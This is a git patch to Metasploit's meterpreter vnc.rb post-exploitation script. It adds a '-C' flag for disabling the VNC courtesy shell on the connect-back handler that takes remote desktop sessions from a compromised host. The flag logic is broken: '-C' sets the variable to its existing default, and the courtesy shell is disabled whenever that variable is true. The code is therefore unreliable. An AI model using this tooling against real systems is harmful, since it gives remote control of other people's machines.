From f0a675e81d62f07834c7dec3650791ccfd2e21c4 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 11 Jan 2010 18:15:29 +0000 Subject: [PATCH] merge patch from William Monk to disable courtesy shell. fixes 754 git-svn-id: file:///home/svn/framework3/trunk@8095 4d416f70-5f16-0410-b530-b9f4589650da --- scripts/meterpreter/vnc.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index e809af5e5c..735fa1e153 100755 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -13,7 +13,8 @@ opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], + "-C" => [ false, "Disable the VNC courtesy shell"] ) # @@ -23,6 +24,7 @@ opts = Rex::Parser::Arguments.new( rhost = Rex::Socket.source_address("1.2.3.4") rport = 4545 autoconn = true +courtesy = true # # Option parsing @@ -38,6 +40,8 @@ opts.parse(args) do |opt, idx, val| rport = val.to_i when "-D" autoconn = false + when "-C" + courtesy = true end end @@ -79,7 +83,9 @@ if(autoconn) mul.datastore['LPORT'] = rport mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = true - + if (courtesy) + mul.datastore['DisableCourtesyShell'] = true + end mul.exploit_simple( 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true